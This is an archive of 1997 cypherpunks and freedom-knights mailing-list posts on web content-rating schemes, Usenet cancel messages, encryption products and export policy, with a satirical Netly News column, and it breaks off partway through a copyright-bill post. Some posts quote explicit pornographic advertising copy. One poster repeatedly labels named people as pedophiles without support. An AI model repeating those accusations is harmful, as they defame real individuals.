>> > the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
>> > Watch! Unfortunately, We can't bring you everything!
>> > 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
>> >
>> > Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
>> > The ultimate in anal, double anal, double penetration, sloppy oral, and
>> > gangbang action!!! 100% GUARANTEED free xrated pics Action!
>> >
>> > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
>>
>> We can clearly come to no agreement here as I cannot see any material
>> listed above which would be harmful in any way to a viewer, child or
>> not.
>
>   Paul. Do you *have* any children?  Jamie
>

The discussion is shifting, predictably, from the so-called "voluntary"
labeling standards to the real issue of what will be banned, mandatorily
rated as "adult" material, etc.

Regardless of who here has any children, and regardless of whether one
thinks bestiality, etc. is appropriate for one's own children, or the
children of others, and so on, the Real Issue is this:

How will a completely voluntary ratings system, and one which then of
necessity allows folks to apply their own notions of appropriateness,
protect children?

A truly voluntary system, with the ability to either not rate something or
to in fact label as one wishes, will not solve the problem James Love
apparently wants to solve.

The abuse a mandatory ratings system would do to the basic liberties of us
all is vastly too high a price to pay just to relieve parents of the
responsibility of monitoring what their children are doing and seeing.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 06:57:57 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707302128.RAA10233@mail.storm.ca>
Message-ID: <3.0.2.32.19970730124407.0098f250@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 5:28 PM 7/30/97 -0400, Sandy Harris wrote:
> . . . Perhaps more to the point, cancels conserve 
> resources on newservers.

That is like saying "by decreasing the human population 
by mass murder, our resources are conserved."  Censorship
is not justified by stating that it causes the information
to be reduced so as to lighten the load on a network.

> ...where on this scale do you start to object to my actions:
> 1) I use a killfile to ignore certain messages.
> 2) I program my personal newsserver to discard certain messages.
> 3) A group of us, by consensus, program our common newsserver...

Unanimous consent?

> 4) A system admin, with due notice to users, programs a 
> newserver.....

What constitutes "due notice" in the present context?
If an ISP were to advertise "Newsgroups censored through
forgery", then that would be "due notice".

> 5) A group of admins agree to jointly program their newsservers 
> so that some of them can cause all systems to discard messages.

Given the proposed "due notice" above, ISPs with such 
administrators are not likely to attract many customers.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 01:34:05 +0800
To: cypherpunks@toad.com
Subject: Netly's Walter Miller talks crypto with President Clinton
Message-ID: <v03007804b005279a4e31@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



*************

Date: Wed, 30 Jul 1997 13:04:35 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Netly's Walter Miller talks crypto with President Clinton
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
ReSent-Date: Wed, 30 Jul 1997 13:12:16 -0400 (EDT)

Walter Miller is Netly's roving, raving, and notoriously misspelling
columnist. He's recently been keeping on top of cyber-rights issues.

Not long ago, Walter Miller had brunch with the Supreme Court justices, and
told them the dos and don'ts of web site design. "I also made sure to
sugest that the US Supreme Court get a password- protected Intranet too --
to post stuff like cafateria specials, snow days, even forums where they
coud flame eachother. Or maybe secretly play network Diablo on laptops
right there on the bench during boring testimony":

  http://pathfinder.com/netly/editorial/0,1012,1125,00.html

Then he took on the University of Memphis, which tried to wipe out a
student's "Old People" site. "Sections on the site include Geezer News,
(mostly newswire acounts of elderly motoring mishaps), and a humor page the
likes of this: Q: What's 1,000 feet long and smells like urine? A: The
conga line at Century Village":

  http://pathfinder.com/netly/editorial/0,1012,1196,00.html

Now Walter Miller writes about encryption, and his Granfather's long
history of crypto-talk with President Clinton (who apparently goes by the
alias BUBBA1)...

-Declan

***********

http://pathfinder.com/netly/editorial/0,1012,1227,00.html

The Netly News Network
Walter Miller (http://pathfinder.com/netly/wmiller/)
Trailer Trash on the Infobahn
for the week starting July 30, 1997

An Encrypted Freindship
by Walter Miller (thenetlynews@pathfinder.com)

  My Granfather isnt just a crankey old S.O.B. he's also a
  longtime F.O.B., or 'Freind Of Bill'; No, not Bill
  Gates--the slightley less inportant one: Bill Clinton. (The
  othor Bill probly HAS no freinds...Sorry, that was mean
  spirrited of me, and inspired out of jealousy--but atleast i
  can ADMIT it.)

       But Gramps and Bill Clinton realy ARE freinds.
  They met during the '72 Presidential race. Clinton was 26
  and George McGovorn's Texas campaign chair.
  Granfather was a low-ranking precinct leador. The two
  were tossin back coldies one night after a rubber chicken
  event at a motel out onthe I-10. Eyeing 2 bellbottomed
  chicks at the bar, Bill winked at Gramps; he winked back,
  scribbling with a pen on a napkin: "YOU TAKE THE
  YOUNG CUTIE. ILL TAKE THE OL' UGLY ONE".
  Both men nodded. Unable to read Grampy's scrawl, the
  gals never cought on. Thus began a 25-year freindship
  based on encryption which contineus to this day.

       Well, neithor man got lucky that night, and
  McGovern lost Texas in a 49-state landslide. (Granfather,
  a conservotive Democrat, ended up votting for Nixon).
  But encryption has come along way since. And so has the
  mop-topped boy from Hope.

       Not only did Granps let him keep his favvorite
  ballpoint pen, they both kept in touch. Last week they
  were in toutch allot. It was about the new Encryption bill
  that just passed Congress. Granps suported it while the
  President was agianst it. They hotly discussed it by e-mail
  for a few days, till this mesage arrived:

         Return-Path: whitehouse.gov
         Received: from (ENCRYPTED)
         Message-ID: (ENCRYPTED)
         X-Mailer: (ENCRYPTED)
         MIME-Version: 1.0
         Content-Type: text/plain;
         charset="us-ascii"
         Content-Trans-Encod: 7bit
         :
         From: "Bubba1"
         To: "Granpy"
         Subject: (ENCRYPTED)
         Date: Sun, 27 Jul 97 09:36:55
         -0400
         :
         Dear Sir:
         POTUS suggests e-mail is not the
         best forum for this discussion.
         Please meet POTUS tonite, 8PM,
         EDT in (ENCRYPTED) Chat. The
         regular place.
         :
         On behalf of POTUS,
         Your pal,
         :
         "VPOTUS"
         :
         P.S. Don't worry, POTUS tells me
         it won't take so long as to cut
         into the X-Files, which my
         (ENCRYPTED) sources tell me is
         a repeat anyway.
         :
         =-=-=-=-=-=-=-=-=-=-=-=
         This is my sig.
         tHIs iS mY SIg ON dRUGs
         =-=-=-=-=-=-=-=-=-=-=-=

  Of cuorse, "POTUS" is President of the United States and
  'VPOTUS' is Mr. Gore. (Just like most big inportant
  exetcutives in the private sector, there's always some
  low-level lacky handling the adminostrative end of his
  E-mail.)

       Later that evening, their convorsation contineud, but
  this time in chat:

         Granpy: YOU OUT THERE, BUBBA?
         Bubba1: Right here, Gramps.
         Sweet4U: Who else is out there?
         Prowler: I'm here. Whos there?
         Granpy: I TELL YUH, BUBBA I
         AIN'T GLOATING, BUT I'M GLAD
         ABOUT THET THAR NEW ENCRYPTION
         BILL.
         Bubba1: Well, Gramps, I did have
         reason to oppose it.
         Prowler: Hey Granpy--ALL CAPS
         are for SHOUTING ONLY
         Granpy: I AM SHOUTING
         Sweet4U: Bubba, age, M/F?
         Bubba1: Um...uh, well, Shucks...
         Prowler: Prowler here.
         (((BURP!))) Who's out there?

  Needless to say, this chat thread, like most, soon
  descended into the ininteligible drivol of a dozen voices
  saying nothing to no one in particulor.

       So Gramps and the Presidant took it private.

         Bubba1: Geez, that garbled
         chatroom drivel sounded like my
         last cabinet meeting.
         Granpy: NO WONDER REAGAN USED TO
         FALL ASLEEP IN HIS, HUH?
         Bubba1: LOL! Who needs
         encryption when you've got IRC
         chat!
         Granpy: LEVITY ASIDE MR. PREZ,
         BUT WHO NEEDS ENCRYPTION WHEN THE
         GOVORMINT HAS THE SOFTWARE KEYS?
         Bubba1: Oooh. That was cold,
         Granps.

  Yes, Granfather had hit a nerve with that one. The gist of
  the encryption bill was to allow US companies to export
  encryption technollogy. Right now America's ass is
  getting kicked in the world market cause we're not allowed
  to sell encyprtion software while foriegn competittors are
  alredy doing it. Mr. Clinton had opposed the bill, but
  would of alowed it only if the US Govorment--yes, the
  US Goverment was given access to the software keys to
  be able to crack the codes.

         Granpy: WHY DON'T WE ALL JUST
         SURRENDER OUR NET PASSWORDS, HUH?
         HOW 'BOUT OUR BANK ATM PASSWORDS,
         AND CREDIT CARD PINS?
         Bubba1: Come on, Gramps. I had
         the FBI and the DEA on my side on
         this, not to mention members of
         both parties. What about
         international spies? What about
         drug kingpins? They use encrypted
         technology.

  Uh, ecxuse me Mr. President, but spies and druglords
  also use the telephone and the U.S. Mail. And when you
  need to put badguys under survellance, you simply get a
  court ordor, and you do it. I have to agree with Granfather
  on this. And I cant help but think that mabye a little of the
  high-profile hand- wringing abbout encryptoin exports
  might be just some old fashionned low-tech fear of
  computers.

       And besides. Nothin personal, but I use my conputer
  for private corespondence. My browsing logs, purchasing
  habbits and credit card numbers are here too, and I dont
  want them falling into the wrong hands. Or, perhaps,
  falling onto the desk of some fat guy in the White House
  basement in charge of 'security' who no one
  remmemmbers hiring. Granfather relayed my concerns to
  the Prez.

         Bubba1: Is that what your
         grandson said? I feel his pain.
         Granpy: HE'LL BE FEELIN MINE ON
         HIS SKINNY ASS IF HE DONT GIT ME
         A BEER, LIKE I DONE ASKED HIM TO.
         Bubba1: LOL!

       In any case, their disagreement on this one isseu
  hasnt hurt Granfather's and Clinton's freindship any.
  Funny thing is, theyve relied on encryption to maintain it
  in secrecy. (A close freindship with Granfather is bound to
  be a politicol liability, if you think abbout it). And
  somhow I think the president is better at 'encryption' than
  he thinks--Ive ben readin in the papers about Whitewater
  for 5 years now: The president seems unscaithed, and I
  still dont know what the hell is going on.

         Bubba1: Do you think my loss on
         the encryption bill will hurt my
         approval rating?
         Granpy: YOU KIDDING? WHAT'RE YOU
         AT, 68 PERCENT? HELL, TWO MORE
         POINTS, YOU KIN START DATING
         AGINN, BOY.
         Bubba1: ROTFL! Seriously--you
         think this chatroom is secure?
         Granpy: YUP. UNLESS NEWT OR AL
         ARE HACKIN' IN.
         Bubba1: Those guys? Everything
         Al knows about computers he
         learned from his kids. And Newt
         still goes to Newsgroups for
         news.
         Granpy: YEH, THE NEWS IN
         BINARIES, I'D BETCHA.
         Bubba1: LOL! Hey, BTW, speaking
         of 'non-family fare' I
         accidentally erased that gross
         .wav file from last week. Can you
         send it again?
         Granpy: SEND IT? GIMME A MINUTE
         AND I'LL BE ABLE TO MAKE IT AGINN
         FOR YOU, LIVE.
         Bubba1: HAH! I'll leave you
         Newt's private phonemail; you can
         leave it for him there.
         Granpy: SO, BUBBA--D'YOU STILL
         LIKE ENCRYPTION?
         Bubba1: Know what, Grampy? I
         like privacy better. Handing
         over encryption keys to the
         government sucks.
         Granpy: HERE IT COMES...NOW,
         BUBBA, NOW
         Bubba1: OH! Hold that, er
         "thought" another second, I'll
         give you Newt's secret
         number...typing...Got a pencil?
         area code (202) (ENCRYPTED)...

  ...And this is where the convorsation seemed to end. Or at
  least, it was the last I got of it that wasnt garboled.

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 07:37:19 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730093753.007a0ba0@caprica.com>
Message-ID: <3.0.2.32.19970730132529.007dc410@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 4:03 PM 7/30/97 -0700, Paul Pomes wrote:
>> Yes, the removal of data from computer networks
>> through forgery is a crime. People who do so are criminals.
>>  -  Jai Maharaj

> Not if it's done through the normal operation of the protocol.
>  -  Paul Pomes

While there is a tendency to reconcile atrocities if they
are perpetrated long enough, there is serious doubt that
forgery and censorship are among them -- no, not in a world
that is beginning to learn about true freedom.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 04:28:16 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <o31Nae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Sandy Harris" <sandy@storm.ca> writes:

> 
> Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:
> 
> 
> 
> >> Entrust Technologies (www.entrust.com) has made Solo available for
> >> download, free . . .
> 
> >I ask everyone on these two forums
> 
> Cypherpunks & Freedom Knights. Both should be very happy to
> see strong encryption becoming more widely available.

As opposed to snake oil peddled by the forgers who employ Chris Lewis.

> 
> >to inform Northern Telecom Forgers / Bell North Forgery Research
> >/ Entrust that we will boycott their "security" products
> 
> Snarky quotes not required. This isn't snake oil. There is plenty of
> solid analysis behind these products. Check references on Entrust
> web site.
> 
> >as long they continue to employ the child-molesting
> >pedophile Chris R. Lewis - the biggest forger on Usenet.
> 
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense.

"Scum" applies to Chris lewis and Sandy Harris, both of whom have Web
pages dedicated to them at http://www.netscum.net/lewisc0.html and
../harriss0.html.  (While at it, check out gary Burnore's net.Scum
page at ../burnorg0.html.)

Chris Lewis forges cancels for Usenet articles posted by other people when
he doesn't like their contents.  'Forges' refers to Chris Lewis putting the
e-mail address of his victim in the Sender: field.  You can find numerous
examples of Chris Lewis forging cancels for articles that are not "spam"
by any definition on his Net.Scum page.

> Dimitri, the "forgeries" are going to continue until someone comes
> up with a better way of dealing with spam. If you have suggestions,
> post them to some of the news,admin.net-abuse.* groups or to
> the Freedom Knights list.
> 
> The crap about pedophilia is also, of course, nonsense. It seems
> to be a favorite slur lately with several grossly misguided people
> who think calling people they dislike pedophiles is a way to
> "defend freedom of speech".
> 

Sandy Harris sounds like a typical Usenet pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 31 Jul 1997 02:12:01 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970728210826.884B-100000@fatmans.demon.co.uk>
Message-ID: <33DF81CF.1662D004@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> >    What is your strategy to avoid RSACi type systems?  To persuade
> > parents that there is no need to censor kids from graphic images of
> > sexual acts?  Good luck.
> 
> Persuation is not the point, it is not necessary to persuade people
> that
> censorship is morally wrong in order for it to be so.

     Well, if persuasion is "not necessary," then why do you care about
anyone's views on this?

    On your other point, I really don't agree that is morally wrong to
take steps to prevent children from having access to pornography. 
People may propose ways of doing this which are objectionable, but the
basic goal is hardly immoral.  Indeed, many think it is immoral not to
protect children.

                Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 31 Jul 1997 02:35:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <Pine.LNX.3.96.970730083903.11314E-100000@fractal.mta.ca>
Message-ID: <97Jul30.141811edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 30 Jul 1997, Michael C Taylor wrote:

> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
> 
> For e-mail / file encryption, digital signature
> 
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> cryptography and has DES, Triple DES available. 

It would be interesting to know how they managed to do it.  The fine print
in the license says it cannot be exported from the US and Canada without a
license (which a second press release says they have, but doesn't say they
had to do anything to the program in order to obtain it).

> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust. 
> 
> It looks like PGP Inc might have some decent competition. I assume that
> it won't have the market pentration of PGP, but at least it will make a
> dent and might force PGP Inc. to make their product robust and flexiable.

PGP 5 uses CAST (and 3DES and IDEA), with DH/DSA/SHA (or MD5 or RIPEM, and
with an RSA backward mode).  Does anyone know which hash algorithm
Entrust/Solo uses? 

> "Offer not valid in Libya, Iran, Iraq, Cuba, Angola, Syria, and North
> Korea"

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 31 Jul 1997 05:53:10 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <19970730142759.44396@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 30, 1997 at 12:05:07PM -0700, Alan wrote:
[...]
> This makes an assumption that sexual material harms children.  Do you have
> any data or studies that actually shows that to be true?

[...]
> The idea that children are somehow scarred and harmed by sexually explicit
> material is without any foundation or evidence.  (Assuming they are able
> to get real unfiltered information to make a correct descision and are not
> getting guilt tripped for wanting that information.)

You have to define "harm", of course.  It's realitively easy to
describe physical harm, but psychological harm is far more complex. 
You are far better off avoiding that tack entirely, and rather think
in terms of behavior you want to promote or not promote.  So, for
example, are children who are exposed to sexually explicit material at
an early age more likely to go to jail in later years? I suspect we
both believe that there is zero correlation. 

> Note, I am not talking about sexual contact or any of the other boogie
> men that the moralists and control freaks try to bring up.  Adolecence is
> supposed to be a time to prepare for adulthood.  They are going to form
> some sort of opinion one way or another.  If they get no information or
> support before they are 18/21, they are going to wind up pretty screwed
> up.

A more interesting case can be made for exposure to violence, of
course.  There is (perhaps controversial) evidence that early exposure
to violent imagery increases the likelihood that a child will be a 
violent adult.

Anyway, those who say that parents should just more closely supervise 
their children must either not be parents, or have defective kids.  
It is a difficult job.  

The topology of the physical world makes it relatively easy to keep
your child away from adult bookstores, if that is your desire, but
cyberspace has a different topology that doesn't support a natural
segregation of neighborhoods. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 31 Jul 1997 06:17:21 +0800
To: declan@well.com
Subject: Netly News Fan Mail
Message-ID: <19970730220815.5319.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



It appears that the CPAC/Sewer folks have read the recent Netly News
article on their activities and were not pleased.  This little blurb
healines the "Sewer List" this morning.

-----Begin Officer Paladino Rant-----

July 29, 1997, I was told of an article that appeared on the Net.
It appeared on a Netly News site. Of course, its good reading if
you are a Boylover. Apparently the writer, like many reporters I
have known, likes to keep the pot stirring with coin phrases like
war, net.vigilantes and so on.

To give the article credibility he interviewed CPAC, NAMBLA,
ACLU. He also mention this writer but forgot to get a statement
from me and 100's of other groups that feel that child porn,
molesters and such have no place on the web.

In the article he links to a few sites showing young boys but he
forgot to link to the 1000's of sites showing young boys in the
nude. Why is that I ask. Well to keep the pot stirring. He claims
their is gay bashing going on, look on this site and others that
link here and you'll find no gay bashing.

You will see sites exposing young boys, as young as 4 years old,
nude. I, for one, can't not justify nude pictures of 4yr old boys
and girls. But the Boylovers insist this is their way of showing
love. AND, of course, we always get back to the Freedom of Speech
arguement.

You know that gigantic excuse for expression. We still have
Freedom of Speech in this counrty, while every other liberty is
falling by the wayside. As I read the article, I could see the
bias and I wonder why???? Maybe the reporter also has an agenda.
If he writes another article on this subject, it would be
interesting to see which Boylovers will be interviewed.
Apparently he has never been to the Sewer or maybe he has?

Freedom is a great thing and this is the greatest country in the
world. I wonder how many soldiers that gave their lifes fighting
for that freedom, had pictures of nude boys in their wallets,
instead of their families. Think about
that.......................

-----End Officer Paladino Rant-----

Will someone please buy this poor man a spell-checker? :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 31 Jul 1997 03:36:42 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970728170606.884A-100000@fatmans.demon.co.uk>
Message-ID: <33DF9522.3985417E@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> > Pissing, Fisting and beastiality! We go to great lengths to bring you
> > the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> > Watch! Unfortunately, We can't bring you everything!
> > 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
> >
> > Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
> > The ultimate in anal, double anal, double penetration, sloppy oral, and
> > gangbang action!!! 100% GUARANTEED free xrated pics Action!
> >
> > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> 
> We can clearly come to no agreement here as I cannot see any material
> listed above which would be harmful in any way to a viewer, child or
> not.

   Paul. Do you *have* any children?  Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 31 Jul 1997 06:45:46 +0800
To: Filtered Cypherpunks List <cypherpunks@toad.com>
Subject: Re: FCPUNX:Prior Restraint
Message-ID: <199707302229.PAA14450@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:18 AM 7/29/97 +0200, Anonymous wrote:
>  Ira Stohl and Kristina Hjelsand had been charged with obscenity for
> selling the controversial magazine "Answer Me!" a short-lived but
> legendary
> periodical that offered extremely politically incorrect articles about
> rape, among other subjects.

I read this magazine, and 95% of the views expressed in their
infamous rape issue were tediously PC.  Their thought crime was
that that they embraced debate on the topic, that they presented 
some alternate viewpoints, some of them fairly vile, 

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 31 Jul 1997 05:57:33 +0800
To: Kurt Starsinic <kstar@isinet.com>
Subject: Re: Yet another self-labeling system
In-Reply-To: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
Message-ID: <33DFB441.59A0@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Kurt Starsinic wrote:
> 
>     I'm in favor of a ratings system; not one which indicates for whom a
> given page is suitable, but rather one which identifies the subject matter.
>  The Dewey Decimal System is a primitive example of such a system.

Technically the Dewey Decimal System in not a rating system, it's a
subject index.  It would make searching the web quite a bit easier.  It
could be as easy as this:

 <META NAME="Dewey Decimal" CONTENT="423.342j">

Of course the number is now only a subject, not a specific web page.


>     It seems to me that, if the USG is in the business of encouraging or
> endorsing morally normative ratings systems (which, of course, they've done
> for years), they're discouraging free discourse regarding child-rearing.

Could you elaborate please?

 
>     It's important that parents can protect their children from content
> which _they_ believe to be inappropriate, but providing boilerplate (such
> as "adult"/"non-adult") turns parents into sheeple.

Agreed.  I prefer to determine for myself what is appropriate for my
child.  What someone else considers adult, I may consider appropriate or
even required for my child to view.
 
-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 09:59:55 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <3.0.2.32.19970730154422.00864100@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Forgery is a crime and such acts are not justified.
>> - Jai Maharaj

> Spamming is a crime (theft of computer resources) 
> and sometimes such acts may be justifiable self-defense.
> - Martin Pool

The commission of crimes such as forgery and censorship is 
not an acceptable excuse to stop the flow of information, even 
if the free flow is perceived by some as a crime.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kurt Starsinic <kstar@isinet.com>
Date: Thu, 31 Jul 1997 05:21:20 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system
Message-ID: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
MIME-Version: 1.0
Content-Type: text/plain



    I'm in favor of a ratings system; not one which indicates for whom a
given page is suitable, but rather one which identifies the subject matter.
 The Dewey Decimal System is a primitive example of such a system.

    It seems to me that, if the USG is in the business of encouraging or
endorsing morally normative ratings systems (which, of course, they've done
for years), they're discouraging free discourse regarding child-rearing.

    It's important that parents can protect their children from content
which _they_ believe to be inappropriate, but providing boilerplate (such
as "adult"/"non-adult") turns parents into sheeple.

    I could write a book, but I think I've made my point.

    Peace,
*---- Kurt Starsinic (kstar@isinet.com) ------ Senior Programmer/Analyst ---*
|   Institute for Scientific Information             (215) 386-0100 x1108   |
|   "It seems every politician in the country wants to enact a minute for   |
|    school prayer these days.  I'd be happy if somebody could just         |
|    legislate a minute of science in school."  --  Dennis Miller           |
*------------------------   http://www.isinet.com   ------------------------*





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 31 Jul 1997 08:14:58 +0800
To: Kurt Starsinic <cypherpunks@Algebra.COM
Subject: Re: Yet another self-labeling system
In-Reply-To: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
Message-ID: <v03102805b005864a8b13@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:01 PM -0700 7/30/97, Kurt Starsinic wrote:
>    I'm in favor of a ratings system; not one which indicates for whom a
>given page is suitable, but rather one which identifies the subject matter.
> The Dewey Decimal System is a primitive example of such a system.
>
>    It seems to me that, if the USG is in the business of encouraging or
>endorsing morally normative ratings systems (which, of course, they've done
>for years), they're discouraging free discourse regarding child-rearing.
>
>    It's important that parents can protect their children from content
>which _they_ believe to be inappropriate, but providing boilerplate (such
>as "adult"/"non-adult") turns parents into sheeple.
>
>    I could write a book, but I think I've made my point.

But not convincingly.

By all means, label, categorize, rate, spindle, fold, or mutilate your own
material.

But don't demand that others do so. Any requirement that words, writings,
Web pages, or other utterances be labled, categorized, or rated is an
unconstitutional interference in the practice of free speech.

I don't expect to convince you. You and other censors will likely pass some
law requiring labeling, then a test case will be found, and, if the Supreme
Court adheres to the Constitution, the law will be struck down.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 05:57:59 +0800
To: cypherpunks@toad.com
Subject: Don't copy that floppy! Copyright bill roundup (7/30/97)
Message-ID: <v03007803b005655748c3@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



If you give your dad a "free" copy of Microsoft Word, you'll
be guilty of a Federal felony, at least under some of the
bills that have recently been introduced in Congress. I'm
still reading through them, but here's what I've gleaned...

Much of the debate will center around the so-called
"LaMacchia Exemption," which basically means that
non-profit copyright infringing is not a crime. It is,
